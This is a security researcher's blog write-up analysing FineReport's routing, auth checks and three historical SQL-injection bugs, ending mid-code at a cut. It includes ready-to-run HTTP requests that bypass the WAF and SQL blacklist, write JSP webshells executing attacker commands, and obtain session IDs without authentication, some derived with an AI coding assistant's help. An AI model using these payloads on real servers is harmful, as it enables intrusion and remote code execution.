帆软FineReport历史漏洞分析(一)
1diot9 Lv5

前言

本文首发于先知社区:https://xz.aliyun.com/news/91753

关于帆软报表的历史漏洞,网上文章比较散乱,本人在分析时也遇到了许多困难。

所以乘此机会,对帆软的历史漏洞做一个梳理,尽可能详细分析每一个漏洞,希望给想要审计的师傅一些帮助。

本文的目标是:

1、介绍帆软报表的项目结构,如何调试

2、分析路由注册逻辑

3、分析 /print/ie/pdf SQL注入漏洞

4、分析 /view/ReportServer SQL注入漏洞

5、分析 export/excel SQL注入漏洞

相关代码:https://github.com/1diot9/MyJavaSecStudy/tree/main/CodeAudit/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8FineReport

项目结构简析

通过官网可下载最新版本:https://www.finereport.com/product/download?_sasdk=fMzYxOTU3OA

补丁下载:https://help.fanruan.com/finereport/doc-view-4658.html

img

这里我选取了11.0.28-2024.7.23和11.5.4.1-2025.10.20两个版本

这两个版本的jar可以到我的仓库:https://github.com/1diot9/MyJavaSecStudy/tree/main/CodeAudit/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8FineReport/jars

先看日志:

img

再看其他:

img

bin:启动exe

jre:版本8u191

lib:设计器相关jar 版本更新会更新这个

plugins:插件

server:tomcat相关依赖

webapps/webroot/WEB-INF/lib:服务器相关jar,这个最关键,不同版本的漏洞就看这些

这里其实可以直接让Claude code分析。想让AI分析源码的话,把lib用jadx反编译得到源码即可。

调试教程

远程调试

bin/designer.vmoptions添加参数:

img

使用https://github.com/cwkiller/ClassLinefix 为WEB-INF下的jar添加行号信息,方便调试。

把服务器的jar和tomcat的jar都添加到库:

img

img

给com.fr.third.springframework.web.servlet.DispatcherServlet#doDispatch加断点,然后访问:http://localhost:8075/webroot/decision/system/info

能断住就可以。

版本区分

1、访问http://localhost:8075/webroot/decision/system/info

img

2、访问http://localhost:8075/webroot/decision/login,查看网页源代码

img

历史版本文档:

https://help.fanruan.com/finereport/doc-view-4658.html

img

Servlet注册逻辑

在分析漏洞时,经常涉及ReportServlet.java,于是想知道这个类是如何注册成为servlet,这样说不定能够完整知道项目中的所有路由。于是结合AI,开启Servlet注册逻辑的分析。

这里以ReportServer这个Servlet为例,讲一讲帆软是如何进行Servlet注册的。

servlet注册

com.fr.report.ReportActivator#start:

img

跟进com.fr.report.ReportActivator#initReportServlet:

img

箭头所指的部分,使用了ServletContext原生的方法进行了注册。

同时需要看看ServerConfig获取到的Name和Mapping:

img

img

这下就清楚了,这个Servlet的名字是ReportServer,对应的路由为/ReportServer/* 。

activator注册

不过现在有个问题,帆软启动的时候,是怎么确保调用一开始Activator的start方法,对每一个Servlet进行注册呢?

配置文件加载模块

来看com.fr.startup.FineWebApplicationInitializer#onStartup:

img

这个类实现了WebApplicationInitializer,会在Web容器启动时自动回调onStartup方法。跟进start:

img

一开始肯定还不是运行状态,所以会进入下面的executeStart,实际进入的是com.fr.startup.FineWebApplicationStartup#executeStart:

img

这里会获取要加载的服务模块,然后调用start,先看看是怎么加载模块的,跟进到com.fr.startup.FineWebApplicationStartup#getServerModule:

img

这里会进入if,跟进parseRoot:

img

这里我们就知道了,配置文件位于com/fr/config/starter/server-startup.xml。继续跟进parse,再跟进两次build,来到com.fr.module.engine.build.ModuleBuilder#build(com.fr.module.engine.build.config.ModuleConfig, com.fr.module.Module):

img

这里会获取配置文件中的activator属性,并通过createActivator方法,使用反射来获取activator实例:

img

而最后的buildChildren则会递归调用build,从而将activator都加载进去。然后返回FineModule。

现在来看一下配置文件:

img

img

能够看到,这里是有ReportActivator的。

start初始化

回到com.fr.startup.FineWebApplicationStartup#executeStart:

img

现在跟进start,这里需要跟进多个start,最后来到com.fr.module.engine.FineModule.FineModuleRunner#executeStart:

img

这里最终会调用到com.fr.module.engine.strategy.AbstractInvokeSubStrategy#start:

img

构造方法中的默认值是parent-first:

img

这里的doStart会调用到com.fr.module.engine.strategy.ParentFirstStrategy#doStart:

img

最终调用activator.start。

至此,servlet的注册流程分析完毕。所以,我们能够知道,配置文件中,activator属性中的类,在项目启动时,都会调用start方法。如果里面有注册servlet的逻辑,则会在应用启动时注册。

总结一下:

  1. Tomcat 启动 → 扫描 WebApplicationInitializer 实现
  2. Spring 初始化 → FineWebApplicationInitializer.onStartup()
  3. 模块框架启动 → FineWebApplicationStartup.start()
  4. 解析配置文件 → ModuleContext.parseRoot(“server-startup.xml”)
  5. 构建模块树 → ModuleBuilder.build() 通过反射创建 ReportActivator 实例
  6. 启动模块 → FineModule.start() → ParentFirstStrategy.doStart()
  7. 调用 Activator → ReportActivator.start() → initReportServlet()

路由分析

Servlet

紧接着上面的servlet分析。

上面我们知道了,一个servlet是怎么在帆软中注册的。但还是不知道所有的mapping映射关系。

其实想获取这个很简单。

只需要找一个有HttpServletRequest参数的方法,一般可以是doGet,doPost,handle,然后运行一下表达式,即可获取:

img

img

表达式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
try {
// 获取当前项目的根目录
String path = System.getProperty("user.dir") + java.io.File.separator + "servlet_mappings.txt";

// 创建文件输出流 (使用 UTF-8 编码防止中文乱码)
java.io.PrintWriter out = new java.io.PrintWriter(new java.io.OutputStreamWriter(new java.io.FileOutputStream(path), "UTF-8"));

// 遍历并写入文件,使用反射避开 Servlet 包依赖报错
for (Object reg : var1.getServletContext().getServletRegistrations().values()) {
try {
Object mappings = reg.getClass().getMethod("getMappings").invoke(reg);
Object className = reg.getClass().getMethod("getClassName").invoke(reg);
out.println("映射路径: " + mappings + " ===> 类名: " + className);
} catch (Exception innerEx) {
out.println("解析某一项失败: " + innerEx.getMessage());
}
}

out.flush();
out.close();

// 在求值结果框里返回文件路径,方便你找到它
return "写入成功!请在项目目录查看文件:" + path;

} catch (Exception e) {
return "写入失败:" + e.getMessage();
}

Dispatcher

在看export/excel SQL注入这个漏洞时,发现poc有两种url。

/webroot/decision/view/report 和

/webroot/ReportServer

这两个路由最终都会进入com.fr.web.core.ReportDispatcher#dealWithRequest。

现在来分析一下为什么,最后给出所有controller路由的映射。这里不涉及漏洞原理,只对路由进行分析。

/webroot/ReportServer

首先看第二个url,这个我们在servlet注册逻辑中分析过。访问/ReportServer/*时,都会转到ReportServlet处理:

img

由于ReportServlet只有service方法,所以最后会调用其父类BaseServlet进行处理,最终进入dealWithRequest:

img

img

/webroot/decision/view/report

看到com.fr.decision.base.DecisionServletInitializer#start:

img

这也是个activator,所以能在配置文件里找到,代表应用启动时会调用其start方法:

img

跟进箭头所指的代码,即startServlet:

img

img

能够看到,这里把spring的DispatcherServlet映射到/decision。那么/decision/* 中 * 的内容,应该就由DispatcherServlet处理,那就跟spring boot的处理逻辑一样了,就是先过interceptor,然后分发到对应controller。这里也解释了,为什么后面很多漏洞路由都是 /decision 开头

而为什么能转到对应controller,很简单,写在注解里了:

img

这里会一路handle,最后进入dealWithRequest:

img

到这里,就能够知道为什么两种路由最后会触发同一个漏洞了,因为最后调用的方法是一样的,都是com.fr.web.core.ReportDispatcher#dealWithRequest

可以在com.fr.third.springframework.web.servlet.DispatcherServlet#getHandler取出所有的映射关系:

img

用表达式导出为文本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
try {
// 1. 获取映射 Map,注意强制类型转换使用帆软的包名
java.util.Map map = ((com.fr.third.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping) hm).getHandlerMethods();

// 2. 使用 StringBuilder 拼接文本
java.lang.StringBuilder sb = new java.lang.StringBuilder();
sb.append("========== 帆软(FineReport)内部路由与方法映射 ==========\r\n");

for (Object obj : map.entrySet()) {
java.util.Map.Entry entry = (java.util.Map.Entry) obj;
// RequestMappingInfo 和 HandlerMethod 的 toString() 方法已经包含了非常详尽的 路径、请求方式 和 类方法名
sb.append(entry.getKey().toString())
.append(" ==> ")
.append(entry.getValue().toString())
.append("\r\n\n");
}

// 3. 将拼接好的文本写入到本地文件
// 这里默认写到当前服务启动的工作根目录下,你也可以改成绝对路径,如 "D:\\fr_mappings.txt"
String filePath = "fr_route_mappings.txt";
java.nio.file.Files.write(java.nio.file.Paths.get(filePath), sb.toString().getBytes("UTF-8"));

// 4. 返回成功提示及绝对路径,方便你在电脑上找
return "导出成功!文件路径: " + new java.io.File(filePath).getAbsolutePath();

} catch (Exception e) {
return "导出失败: " + e.getMessage();
}

img

https://github.com/1diot9/MyJavaSecStudy/blob/main/CodeAudit/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8FineReport/fr_route_mappings.txt

另外,/webroot/ReportServer 在这里会更好一些,因为直接进入servlet,没有过interceptor,这样会少一些鉴权。

/print/ie/pdf SQL注入写文件

影响版本

img

漏洞分析

恶意表达式获取

用上面导出的controller映射关系搜索:

img

能够找到两个路由:

1
2
{[/nx/report/v10/print/ie/pdf],methods=[GET]}  ==>  public void com.fr.nx.app.web.controller.NXController.pdfPrintForIE(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse) throws java.lang.Exception
{[/nx/report/v9/print/ie/pdf],methods=[GET]} ==> public void com.fr.nx.app.web.controller.NXController.pdfPrintForIEV9(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse) throws java.lang.Exception

这里只有v9那个有漏洞,v10会对传入的sessionID校验,和最后的官方修复一样。

img

这里的HANDLER就是PDFPrintPrintForIEHandler,后续的this就是指这个类。现在跟进handle:

img

这里最终会进入最下面一行的handleRequest,继续跟进,来到com.fr.nx.app.web.v9.handler.handler.PDFPrintPrintForIEHandler#handleRequest:

img

var3是从请求包中取出的sessionID,经过多次拼接后,最后到了var9里,最终被TemplateUtils.render渲染。这个TemplatesUtils是帆软自己的一个模板渲染工具,这也是我们许多漏洞存在的根本。

因为帆软有许多自定义的函数,比如SUM、DATE,而这些函数,都能在模板渲染中被执行。而帆软提供了一个特别的函数——SQL:

https://help.fanruan.com/finereport/doc-view-846.html

img

在进行模板渲染时,我们可以使用${SQL()}的语法来执行SQL查询。而帆软默认存在以下数据库驱动:

img

在这个漏洞中,我们利用sqlite,因为帆软默认存在一个测试数据库,在/webroot/help目录下,其使用的就是sqlite:

img

以上就是漏洞的大致原理,现在看一下如何传入payload。

img

连续跟进getOrGenerateSessionIDWithCheckRegister,最终来到com.fr.data.NetworkHelper#getHTTPRequestEncodeParameter:

img

这里的var1是sessionID,var2是true。看一下框出来的两部分。

先跟进到com.fr.data.DefaultRequestParameterHandler#getParameterFromHeader:

img

从header中取出sessionID字段。

再跟进底下的checkURLDecode(var5),var5就是sessionID的值:

img

这里的decodeText很重要:

img

会进行一次cjk解码,这种解码实际上就是把字符从16进制转回来,只不过这里的16进制都是[41][42]这样的格式。cjk编码的本意是将汉字等非ASCII字符转换成16进制。

这个cjk编码对漏洞利用的帮助是:可以通过编码来绕过WAF检测。

这个绕WAF技巧在帆软里几乎都可以用,因为所有从请求包中获取参数的方法,大多都会调用到com.fr.data.NetworkHelper#getHTTPRequestEncodeParameter。

这个cjk绕过我最早是在Killer师傅的文章中看到(这个漏洞就是他发现的):

https://mp.weixin.qq.com/s/odnsC0RjgQGuAWKke3SOqA 文末有cjk编码脚本。

上面的checkURLDecode中,除了cjk解码,最后还会进行URL解码。而帆软的表达式函数中,又内置了DECODE,能够进行URL解码。这也能用于WAF绕过。

所以,可以通过先URL编码,再cjk编码的方式,尝试绕过帆软WAF。

到这里,我们就知道了sessionID的解析流程。回到一开始的handleRequest:

img

获取到的sessionID,经过一系列字符串拼接,最后进行模板渲染,从而触发SQL注入。

现在去yakit里试试,能不能实现延时。

1
2
3
4
5
6
GET /webroot/decision/nx/report/v9/print/ie/pdf HTTP/1.1
Host: 127.0.0.1:8075
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
sessionID:{{urlesc(${sql('FRDemo','SELECT hex(randomblob(1));',1)})}}
Accept-Encoding: gzip, deflate
Accept: */*

因为sqlite里没有能直接延时的函数,所以通过生成大随机二进制块来产生计算延迟。

为1时,耗时4ms:

img

为100000时,耗时34ms:

img

10000000时,直接变成了167ms:

img

数字再大一些,会直接报错。成功证明实现了SQL注入。

SQL注入写文件

上面的危害只是停留在了SQL盲注,现在来试试通过Sqlite写文件,达到写webshell的目的。

不过先来看看帆软SQL过滤机制。

第一处过滤

在com.fr.function.SQL#run断点:

img

第一处检测在dealWithParameters处,会开始处理sql查询语句,调用栈如下:

1
2
3
4
5
SQL#run
→ dealWithParameters()
→ EscapeSqlHelper.processParametersBeforeAnalyzeSQL()
→ EscapeSqlLocalHelper.processEscape()
→ EscapeSqlLocalHelper.hasForbidWord()

先说一下,第一处检测在漏洞利用过程中是不会触发的,不过还是讲一下,因为自己看的时候特别疑惑到底有几层检测,又在哪里,在什么情况触发。

dealWithParameters:

img

这里会清除语句中的注释符。然后进入analyze4Parameters:

img

由于var1为false,所以跟进框中的analyze4Parameters:

img

var0就是我们的sql语句。这里会做匹配,匹配 [? ?] 或者 ${} 。其本质是占位符,就跟mybatis里的 select * from users where name = ${name}一样,不过mybatis记得用 #{} 防注入。

可以看一下官方文档的介绍:https://help.fanruan.com/finereport/doc-view-846.html

img

回到dealWithParameters:
img

只有当执行的sql语句里有占位符时,才会运行到else中。然后在processParametersBeforeAnalyzeSQL处进行检测,跟进到com.fr.data.impl.escapesql.local.EscapeSqlLocalHelper#processEscape:

img

这里会对占位符中的sql语句检测。黑名单如下:

img

img

看到这里很熟悉,这不就是后台设置SQL注入的地方吗?

img

现在看第二处检测。

这里的检测点可以通过日志中的报错堆栈获取。logs/fanruan.log

img

在com.fr.cbb.dialect.security.JDBCSecurityChecker#checkQuery(java.lang.String, com.fr.cbb.dialect.security.element.InsecurityElement[])处打断点:

img

先看removeSpecialCharacters,ignoreQuotesAndNotes会移除引号内的字符。比如where name=’any’会变成where name=。另外里面的isSpecialCharacter方法也很关键:

img

这些特殊符号会被移除。

接着进入check:

img

黑名单:

img

跟进probe:

img

这里检测语句中有没有包含” drop “,注意,关键词前后有两个空格,很重要,是后面绕过的基础。

那么,怎么这些黑名单是怎么加载的,往前看调用栈:

img

img

在InsecurityElementFactory的静态代码块中设置的,同时还设置了JDBC URL的关键词黑名单,同时也针对不同的数据库,设置了特有的黑名单。只不过这里传入的dbType为空,所以只会载入静态代码最下面的公共黑名单。

至此帆软SQL检测机制分析完毕。

SQL绕过

sqlite可以通过attach,create,insert的方式写文件。但是怎么绕过黑名单?

这里参考y4attack博客中的技巧:

https://y4tacker.github.io/2024/07/23/year/2024/7/%E6%9F%90%E8%BD%AFReport%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%AD%E5%88%A9%E7%94%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%86%E8%8A%82

当sqlite语句中的第一个字符为U+FEFF(URL编码对应%EF%BB%BF),在执行时会被移除。

于是可以通过这种方式绕过,因为检测是检测 “ attach “,需要前后有空格才能检测到。

POC

最终poc:

1
2
3
4
5
6
GET /webroot/decision/nx/report/v9/print/ie/pdf HTTP/1.1
Host: 127.0.0.1:8075
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
sessionID:sessionID:[24][7B][5F][5F]fr[5F]locale[5F][5F][3D]sql[28][27]FRDemo[27][2C]DECODE[28][27][25]25EF[25]25BB[25]25BFATTACH[25]2520DATABASE[25]2520[25]2527[2E][2E][25]252Fwebapps[25]252Fwebroot[25]252Fzddc[2E]jsp[25]2527[25]2520as[25]2520jwgeed[25]253B[27][29][2C]1[2C]1[29][7D][24][7B][5F][5F]fr[5F]locale[5F][5F][3D]sql[28][27]FRDemo[27][2C]DECODE[28][27][25]25EF[25]25BB[25]25BFCREATE[25]2520TABLE[25]2520jwgeed[2E]xff[25]2528data[25]2520text[25]2529[25]253B[27][29][2C]1[2C]1[29][7D][24][7B][5F][5F]fr[5F]locale[5F][5F][3D]sql[28][27]FRDemo[27][2C]DECODE[28][27][25]25EF[25]25BB[25]25BFINSERT[25]2520INTO[25]2520jwgeed[2E]xff[25]2528data[25]2529[25]2520VALUES[25]2520[25]2528x[25]25273c2540207061676520696d706f72743d226a6176612e696f2e2a2c6a6176612e7574696c2e4261736536342220253e3c256f75742e7072696e7428224b464322293b537472696e6720613d726571756573742e676574506172616d6574657228226122293b69662861213d6e756c6c297b627974655b5d20623d4261736536342e6765744465636f64657228292e6465636f64652861293b537472696e6720703d726571756573742e676574536572766c6574436f6e7465787428292e6765745265616c5061746828726571756573742e676574536572766c6574506174682829293b537472696e67206469723d6e65772046696c652870292e676574506172656e7428293b46696c654f757470757453747265616d206f3d6e65772046696c654f757470757453747265616d286e65772046696c65286469722c22776562726f6f742d686f6d652e6a73702229293b6f2e77726974652862293b6f2e636c6f736528293b7d253e0a[25]2527[25]2529[25]253B[27][29][2C]1[2C]1[29][7D]
Accept-Encoding: gzip, deflate
Accept: */*

还需要载入jsp解析器:

img

1
2
3
4
5
GET /webroot/decision/file?path=org.apache.jasper.servlet.JasperInitializer&type=class HTTP/1.1
Host: 127.0.0.1:8075
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept-Encoding: gzip, deflate
Accept: */*

img

img

官方修复

img

会对sessionID校验,不允许传入恶意的了。

同时,在sql语句去除特殊符号时,也考虑了 U+FEFF:

img

另外,官方的安全插件也有防jsp落地的保护,但是插件不会默认安装:

img

/view/ReportServer? SQL注入写文件

https://y4tacker.github.io/2024/07/23/year/2024/7/%E6%9F%90%E8%BD%AFReport%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%AD%E5%88%A9%E7%94%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%86%E8%8A%82/

影响版本

img

11.0.1<=FineReport<=11.0.28

FineBI和FineDataLink根据更新日志翻了一下,下面是推断的版本:

https://help.fanruan.com/finebi6.X/doc-view-2355.html

https://help.fanruan.com/finedatalink/doc-view-751.html

6.1.0<=FineBI<=6.1.1 6.0<=FineBI<=6.0.18(6.0.*)

4.1<=FineDataLink<=4.1.11 4.0.1<=FineDataLink<=4.0.30(4.0.*)

FineDataLink文档没写更新时间,是通过历史版本里最早的版本来确定:

img

老版本离线文档的位置都在这里:

img

漏洞分析

先搜漏洞路由找处理类:

img

img

漏洞点很明显了,跟上面的原理一样,都是模板解析导致的SQL注入。

不过在参数解析上,还是有一些不同。

这里的getQueryString,是tomcat内置方法,直接不经解码获取GET中的参数。但我们知道,tomcat的URL中是不能传入一些特殊符号的,比如双引号和空格:

img

双引号可以用单引号代替,空格可以用注释符代替,但是如果sql语句里本身要用到引号的话,就没办法了。

这里就需要用到帆软自带的另一个函数了——DECODE:

img

这样就可以把sql语句中的特殊符号传入GET参数。

后面的sql注入写文件,和上面的漏洞就一样了。由于影响版本还比上面的更早,所以也sql黑名单也一样。都可以通过U+FEFF这个方法去绕。

POC

1
2
3
4
5
GET /webroot/decision/view/ReportServer?${sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Ftest.jsp%27%20as%20test1%3B'),1,1)}${sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20test1.exp%28data%20text%29%3B'),1,1)}${sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20test1.exp%28data%29%20VALUES%20%28x%273c252052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b20253e%27%29%3B'),1,1)} HTTP/1.1
Host: 127.0.0.1:8075
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept-Encoding: gzip, deflate
Accept: */*

然后通过/file加载jsp加载器。注意,如果要创建不同文件,as 后面的数据库名也要改成没出现过的。

官方修复

首先不对参数进行模板渲染:

img

对U+FEFF处理:

img

export/excel SQL注入写webshell

https://xz.aliyun.com/news/90947

https://mp.weixin.qq.com/s/628UNSos2lxNy5QUCLRznA

影响版本

img

漏洞分析

sessionID获取

此漏洞需要先获取一个sessionID。

直接访问漏洞路由(通过之前获取的映射文件搜索),返回401:

img

说明需要鉴权。查看日志,发现没有报错,那只能手动推测鉴权位置。由于访问的是一个controller,所以一定会经过interceptor,鉴权很有可能是在那边做的。

来到com.fr.third.springframework.web.servlet.HandlerExecutionChain#applyPreHandle:

img

这里能够看到所有的interceptor:

1
2
3
4
5
6
7
8
9
10
11
com.fr.decision.webservice.interceptor.DeploymentInterceptor
com.fr.decision.webservice.interceptor.SecurityHeaderInterceptor
com.fr.decision.webservice.interceptor.SystemAvailableInterceptor
com.fr.decision.webservice.interceptor.MigrationInterceptor
com.fr.decision.webservice.interceptor.EncryptionInterceptor
com.fr.decision.webservice.interceptor.RequestPreHandleInterceptor
com.fr.decision.webservice.interceptor.DecisionInterceptor
com.fr.web.core.cluster.ReportClusterRedirectInterceptor
com.fr.decision.webservice.interceptor.URLRateLimiterInterceptor
com.fr.third.springframework.web.servlet.handler.ConversionServiceExposingInterceptor
com.fr.third.springframework.web.servlet.resource.ResourceUrlProviderExposingInterceptor

这里的鉴权在DecisionInterceptor,可以通过401来判断:

img

这里的目标是var6为true,那就得关注var5。跟进getRequestChecker:

img

这里会调用11个checker.acceptRequest,当accept时,就会返回该checker,随后回到DecisionInterceptor调用checkRequest方法。

img

img

com.fr.decision.webservice.interceptor.handler.DecisionRequestChecker#acceptRequest会检查调用的方法和方法所在的类,是否有TemplateAuth.class和CompatibleTemplateAuth注解,如果都没有就直接通过:

img

com.fr.decision.webservice.interceptor.handler.ReportNxAdaptiveRequestChecker#acceptRequest

img

这里只要没有CompatibleTemplateAuth注解,就是直接通过。

其他checker大家可以自行分析。

这里最终会返回ReportNxAdaptiveRequestChecker:

img

然后对sessionID进行校验。所以必须找一个地方生成有效的sessionID。

根据文章(https://xz.aliyun.com/news/90947),sessionID通过/webroot/decision/view/report获取,不过这个路由也有鉴权,得绕

img

img

文章的思路是在com.fr.decision.webservice.interceptor.handler.ReportTemplateRequestChecker#acceptRequest返回true,然后让其checkRequest返回true,从而绕过鉴权。

img

这里会进入getTemplateId,最终到达analyzeTemplateID:

img

接下来的过程可以去看参考文章,已经写的很详细。

需要提一下,这四个参数,在新版本,大概是25年中之后,是不能有值的,不然会再次检查token。但是在更早一点的版本是可以的。在最新版本,11.5.5及之后,两种方法都没法获取sessionID了。

而文章sessionID的poc为:

/webroot/decision/view/report?op=getSessionID&reportlets=[{‘reportlet’:’/‘}]

但是较新一点的版本中不能有reportlets参数,所以文章里的方法在25年中之后就用不了。

下面介绍最新的,获取sessionID的方法,这是killer师傅文章中提及的:

img

先给出最终的poc,方便参考:

1
2
3
4
5
GET /webroot/decision/view/report?op=getSessionID&viewlets=[{'reportlet':'/'}] HTTP/1.1
Host: 127.0.0.1:8075
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept-Encoding: gzip, deflate
Accept: */*

能发现com.fr.decision.webservice.interceptor.handler.ReportGeneralRequestChecker#checkRequest始终返回true:

img

所以只要过acceptRequest就行,也就是过!this.containUniqueOpAndCmd就行:

img

看方法名就知道,得同时传入op和cmd才行,所以肯定返回false,取反成true,通过。

所以就能来到目标路由,最终执行到com.fr.web.core.ReportDispatcher#dealWithRequest:

img

img

这里能看出为什么要设置op=getSessionID。

跟进generateSessionIDWithCheckRegister:

img

var2不为null才能生成sessionID。

所以看WebletFactory#createWebletByRequest:

img

这一段的解析,https://xz.aliyun.com/news/90947 中的”条件4”段落也解释的很详细,这里不展开了。

最后还有一点需要补充,其实可以直接访问/webroot/ReportServer,最终也是执行到ReportDispatcher#dealWithRequest,而且不会经过interceptor鉴权,这点在路由分析的时候已经说过。

说句题外话。如果一开始就以/webroot/ReportServer获取sessionID会遇到一个问题。就是viewlets参数为什么要写成[‘reportlets’:’/‘],而不是只写 [] ?[‘reportlets’:’/‘]的形式,是在访问/webroot/decision/view/report的前半段interceptor过程中得出的。但如果直接访问/webroot/ReportServer,就没有这个过程。所以理应满足match即可:

img

但这样会空指针报错。我当时就无法解决这个问题。于是拿着报错和请求问AI:

img

也是得到了解决方法:

img

XML格式推导

SessionID获取完了,接下来开始分析这次SQL注入的点。

去官网找到漏洞路由:

img

在导出的映射关系中进行查找:

img

有两个符合的,这里选择下面那个GET方式的进行分析。

调试一下,跟进各种handleXXX后,最终来到com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#doHandle:

img

第一行验证刚刚获取的sessionID,第二行获取Calculator对象,这个对象就是帆软里专门用来执行表达式的,也是后面执行SQL语句的基础。接下来就会进入initCreator:

img

第一行读取__parameters__,这里直接传入 {} 即可,因为后面需要这个参数为空,才能进入表达式解析的过程。

getEntity这行很重要,是解析传入的xml的过程。

那么这里预期的XML格式是怎么样的呢?直接问AI试试(claude code + glm5):

1
2
com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#getEntity中,会读取params参数,然后开
始解析xml。请分析出这里预期的XML格式是怎么样的,把分析过程写入文档。

第一次给出的格式有问题,没有root节点:

img

第二次的提示词:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
> xml内容如下:

<LargeDatasetExcelExportJS exportFileName="waibiwaibi" dsName="ds1" colNames="{}" exportFormat="excel"
encodeFormat="UTF-8">

<Parameters>

<Parameter>

<Attributes name="p1"></Attributes>

<Object t="Formula">

<Attributes>sql('FRDemo', DECODE('%77%61%69%62%69%77%61%69%62%69'), 1, 1)</Attributes>

</Object>

</Parameter>

</Parameters>

</LargeDatasetExcelExportJS>


解析代码如下:
LargeDatasetExcelExportJavaScript var7 = this.getEntity(var2);

String var8 = var7.getFileName();

String var9 = var7.getDsName();

解析后,var8,var9都为null。

最终报错:

No datasource name specified for exportation.\\n\\tat com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetEx
celExportHandler.initCreator(LargeDatasetExcelExportHandler.java:96)\\n\\tat com.fr.nx.app.web.v9.handler.handler
.largeds.LargeDatasetExcelExportHandler.doHandle(LargeDatasetExcelExportHandler.java:209)\\n\\tat
com.fr.nx.app.direct.AbstractExportHandler.handleRequest(AbstractExportHandler.java:22)\\n\\tat
com.fr.web.controller.AbstractRequestService.handle(AbstractRequestService.java:49)\\n\\tat
com.fr.web.controller.AbstractRequestService.handle(AbstractRequestService.java:28)\\n\\tat
com.fr.nx.app.web.controller.NXController.largedsExcelExportV9(NXController.java:320)\\n\\tat
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\\n\\tat
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)\\n\\tat
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)\\n\\tat
java.lang.reflect.Method.invoke(Method.java:498)\\n



重新阅读代码,确保得到的XML格式正确,并修改文档。

第二次修改的还是有问题,Formula没法正常赋值,没把content写在Attribute标签里,导致Fumula对象没有content为空:

1
2
3
4
5
6
7
8
9
10
11
12
13
<R class="com.fr.nx.app.web.handler.export.largeds.bean.LargeDatasetExcelExportJavaScript">
<LargeDatasetExcelExportJS
exportFileName="any1"
dsName="ds1"
colNames='{}'>
<Parameters>
<Parameter>
<Attributes name="p3"/>
<O t="Formula">=sql('FRDemo', DECODE('%77%61%69%62%69%77%61%69%62%69'), 1, 1)</O>
</Parameter>
</Parameters>
</LargeDatasetExcelExportJS>
</R>

img

第三次提示词:

1
还是有问题,t="Formula"时,最后Formula对象的content是空字符串

最终给出的xml是能够满足要求的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<R>
<LargeDatasetExcelExportJS
exportFileName="报表导出"
dsName="ds1"
colNames="{}">
<Parameters>
<Parameter>
<Attributes name="sqlParam"/>
<O t="Formula" class="com.fr.base.Formula">
<Attributes>sql('FRDemo', 'SELECT * FROM table')</Attributes>
</O>
</Parameter>
</Parameters>
</LargeDatasetExcelExportJS>
</R>

img

这个和参考文章里的有所不同,这里LargeDatasetExcelExportJS和Parameters为父子关系。

回到initCreator,接着跟进dealParam:

img

img

这里可以直接让var8为空,这样就一定进入表达式执行的if。要让var8为空,那var7就是空,var7就是我们传入的functionParams参数,它要为 {}

同时注意132行的,var18,容易看出,这里var18也要是null,所以var6最好也是空,而var6就是在initCreator里传入的__parameters__参数,所以这就是为什么上面说要传入 {}

总结一下,我们现在能够控制表达式的请求包大致长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET /webroot/decision/nx/report/v9/largedataset/export/excel HTTP/1.1
Host: 127.0.0.1:8075
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
sessionID: 7217201b-cc45-4f57-b458-ba5b0629cf6d
params: {{urlesc(<R>
<LargeDatasetExcelExportJS
exportFileName="any"
dsName="ds1"
colNames="{}">
<Parameters>
<Parameter>
<Attributes name="sqlParam"/>
<O t="Formula" class="com.fr.base.Formula">
<Attributes>sql('FRDemo', 'SELECT * FROM table', 1)</Attributes>
</O>
</Parameter>
</Parameters>
</LargeDatasetExcelExportJS>
</R>)}}
__parameters__: {}
functionParams: {}
Accept-Encoding: gzip, deflate
Accept: */*

要注意,先前生成的sessionID是会过期的,所以最好每次发包都重新生成一个。

最后补充一个可以直接生成xml文件的方法。

这里直接利用帆软自带的com.fr.general.xml.GeneralXMLTools#writeXMLableAsString:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.fr.base.Formula;
import com.fr.base.Parameter;
import com.fr.general.xml.GeneralXMLTools;
import com.fr.nx.app.web.handler.export.largeds.bean.LargeDatasetExcelExportJavaScript;
import com.fr.stable.CommonCodeUtils;

public class tmp1 {
public static void main(String[] args) {
// String s = "[op";
